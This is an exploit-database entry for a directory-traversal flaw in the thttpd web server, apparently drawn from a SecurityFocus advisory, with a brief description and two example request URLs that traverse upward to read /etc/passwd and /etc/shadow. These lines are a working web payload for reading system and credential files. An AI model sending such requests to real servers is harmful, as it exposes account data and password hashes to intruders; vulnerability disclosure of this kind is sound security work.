Acme thttpd HTTP Server - Directory Traversal

Author: Metropolis
type: remote
platform: linux
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date_added: 2013-05-19 
date_updated: 2015-10-23 
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source: https://www.securityfocus.com/bid/60010/info

thttpd is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the web server. Information harvested may aid in launching further attacks.

www.example.com/../../../../../../../../etc/passwd

www.example.com/../../../../../../../../etc/shadow